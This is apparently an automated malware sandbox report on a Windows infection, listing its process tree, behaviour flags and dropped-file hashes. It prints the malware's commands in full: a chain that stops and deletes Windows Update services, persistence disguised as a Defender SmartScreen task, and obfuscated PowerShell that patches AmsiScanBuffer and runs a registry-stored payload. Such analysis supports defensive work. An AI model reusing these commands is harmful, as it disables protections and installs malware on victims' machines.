- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2780
-
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3872
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2712
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3904
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3380
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4648
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:4176
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1128
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2508
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:736
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4332
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3388
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:4804
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2592
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2524
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4008
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1524
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:940
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4892 -ip 48922⤵PID:844
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4388 -ip 43882⤵PID:3012
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:840
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:3968
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:3116
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:1940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:648
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3676
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2360
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2088
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1968
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1916
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1908
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1860
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1852
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1732
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1620
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1532
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1296
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1108
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:ffRkDsPkCoPd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qFdMSniqbwwSxS,[Parameter(Position=1)][Type]$YRclVGUXWm)$IfaLmokCbiO=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'fle'+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+'D'+'e'+''+[Char](108)+'e'+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+'e'+'ga'+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'','C'+[Char](108)+''+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+'An'+[Char](115)+'iCl'+'a'+'s'+[Char](115)+',A'+[Char](117)+''+[Char](116)+'o'+'C'+'la'+'s'+''+[Char](115)+'',[MulticastDelegate]);$IfaLmokCbiO.DefineConstructor('R'+'T'+''+'S'+''+[Char](112)+'e'+'c'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+'e'+[Char](44)+''+'H'+'i'+'d'+''+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$qFdMSniqbwwSxS).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+'e'+[Char](44)+''+[Char](77)+'an'+[Char](97)+''+'g'+''+[Char](101)+'d');$IfaLmokCbiO.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c,'+[Char](72)+''+[Char](105)+''+'d'+'eB'+[Char](121)+'S'+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+'Sl'+[Char](111)+'t,'+[Char](86)+'ir'+[Char](116)+'ua'+[Char](108)+'',$YRclVGUXWm,$qFdMSniqbwwSxS).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+'na'+'g'+'ed');Write-Output $IfaLmokCbiO.CreateType();}$hXHPeNWhmeNUu=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+''+'t'+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType('M'+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+'s'+'o'+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+'i'+''+'n'+''+'3'+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+''+'h'+''+[Char](88)+'H'+[Char](80)+''+[Char](101)+''+'N'+''+[Char](87)+'h'+[Char](109)+''+[Char](101)+'N'+'U'+''+'u'+'');$JDePbvjaevZffy=$hXHPeNWhmeNUu.GetMethod(''+'J'+''+[Char](68)+''+[Char](101)+'Pb'+[Char](118)+''+[Char](106)+''+'a'+''+[Char](101)+''+'v'+'Z'+[Char](102)+'f'+[Char](121)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+'t'+'a'+'t'+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hjHgqqSdpFBQKJllRfO=ffRkDsPkCoPd @([String])([IntPtr]);$EkexwHzSfhayjfuRgEcDLJ=ffRkDsPkCoPd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$wQkmNpsKMyw=$hXHPeNWhmeNUu.GetMethod('G'+'e'+''+[Char](116)+''+[Char](77)+'odu'+[Char](108)+''+'e'+'H'+'a'+''+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2.'+[Char](100)+''+[Char](108)+'l')));$ejHhbZizDyfMyH=$JDePbvjaevZffy.Invoke($Null,@([Object]$wQkmNpsKMyw,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+'d'+'L'+'i'+'b'+'r'+''+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$qeWRswLJBIBLOKbSY=$JDePbvjaevZffy.Invoke($Null,@([Object]$wQkmNpsKMyw,[Object](''+[Char](86)+'i'+[Char](114)+'t'+'u'+'a'+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+'c'+[Char](116)+'')));$NcYfXKr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ejHhbZizDyfMyH,$hjHgqqSdpFBQKJllRfO).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+[Char](46)+'d'+[Char](108)+''+'l'+'');$ilWsGCkrgLXDPHmaC=$JDePbvjaevZffy.Invoke($Null,@([Object]$NcYfXKr,[Object](''+[Char](65)+''+'m'+'s'+'i'+''+'S'+''+'c'+''+'a'+'n'+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$BFnTvxPLYR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qeWRswLJBIBLOKbSY,$EkexwHzSfhayjfuRgEcDLJ).Invoke($ilWsGCkrgLXDPHmaC,[uint32]8,4,[ref]$BFnTvxPLYR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$ilWsGCkrgLXDPHmaC,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qeWRswLJBIBLOKbSY,$EkexwHzSfhayjfuRgEcDLJ).Invoke($ilWsGCkrgLXDPHmaC,[uint32]8,0x20,[ref]$BFnTvxPLYR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4924 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:aRBSCJxdNIYm{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zGbiUtfzisnTzU,[Parameter(Position=1)][Type]$jOtlLJlQcm)$EtMUnUzVHmU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+'te'+[Char](100)+'D'+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+'y'+''+'M'+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+'l'+'e'+'ga'+'t'+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+'u'+'b'+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+'l'+'e'+[Char](100)+','+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+'C'+'la'+[Char](115)+''+[Char](115)+','+[Char](65)+'u'+[Char](116)+''+'o'+''+'C'+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$EtMUnUzVHmU.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+[Char](101)+'ci'+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+','+'Hid'+'e'+'B'+[Char](121)+''+'S'+'i'+'g'+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$zGbiUtfzisnTzU).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+'M'+[Char](97)+'n'+'a'+''+'g'+''+[Char](101)+''+'d'+'');$EtMUnUzVHmU.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c,'+[Char](72)+'i'+'d'+''+[Char](101)+''+'B'+'yS'+[Char](105)+''+[Char](103)+''+','+'N'+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+'t'+','+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+'l',$jOtlLJlQcm,$zGbiUtfzisnTzU).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+'e'+','+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $EtMUnUzVHmU.CreateType();}$KiEXVBwJpGEul=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+'i'+''+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+''+'n'+'s'+[Char](97)+'f'+'e'+''+'K'+'iE'+[Char](88)+''+'V'+'Bw'+[Char](74)+''+'p'+''+'G'+''+'E'+'u'+[Char](108)+'');$twZRwOhckHmGxf=$KiEXVBwJpGEul.GetMethod(''+[Char](116)+''+'w'+''+'Z'+''+[Char](82)+'w'+[Char](79)+''+[Char](104)+''+'c'+''+'k'+''+[Char](72)+'m'+[Char](71)+''+[Char](120)+''+[Char](102)+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](116)+'a'+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$conGUjzNNxsnHvXbJYf=aRBSCJxdNIYm @([String])([IntPtr]);$pRaqwdsaKxlKHVqvmhpLHF=aRBSCJxdNIYm @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AkvizleZnna=$KiEXVBwJpGEul.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('ke'+'r'+'n'+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')));$ReLbtCkMIgLkAa=$twZRwOhckHmGxf.Invoke($Null,@([Object]$AkvizleZnna,[Object]('L'+'o'+''+[Char](97)+'d'+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$vVvumGYsvpZmDuJdT=$twZRwOhckHmGxf.Invoke($Null,@([Object]$AkvizleZnna,[Object](''+'V'+''+'i'+''+[Char](114)+'t'+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'ro'+'t'+''+[Char](101)+'c'+[Char](116)+'')));$odqbqam=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReLbtCkMIgLkAa,$conGUjzNNxsnHvXbJYf).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$fiopPeiItemXUHNZp=$twZRwOhckHmGxf.Invoke($Null,@([Object]$odqbqam,[Object](''+'A'+''+'m'+'si'+[Char](83)+'c'+[Char](97)+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+'f'+'e'+[Char](114)+'')));$zRHQtoefeP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vVvumGYsvpZmDuJdT,$pRaqwdsaKxlKHVqvmhpLHF).Invoke($fiopPeiItemXUHNZp,[uint32]8,4,[ref]$zRHQtoefeP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$fiopPeiItemXUHNZp,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vVvumGYsvpZmDuJdT,$pRaqwdsaKxlKHVqvmhpLHF).Invoke($fiopPeiItemXUHNZp,[uint32]8,0x20,[ref]$zRHQtoefeP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+'T'+'WAR'+'E'+'').GetValue(''+'d'+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+'t'+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1088
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2856
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD5399d7cf8cb6a2ac98035a591237e78ec
SHA151fe04d6331edd8b986b16971d9b98568e6c063e
SHA2569a04fff52d108e02c49dfaa8f8905072407360fb02872c3414fcb3749015a0ce
SHA512a9ba9079b9db3fefefa8c026c175d0523ab7ef97e5ee0717592f206b57ea78bb39acb88f4b166cb705bff7a4635cd541f493ea3fd8d889213f323fe82a3d0ade
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373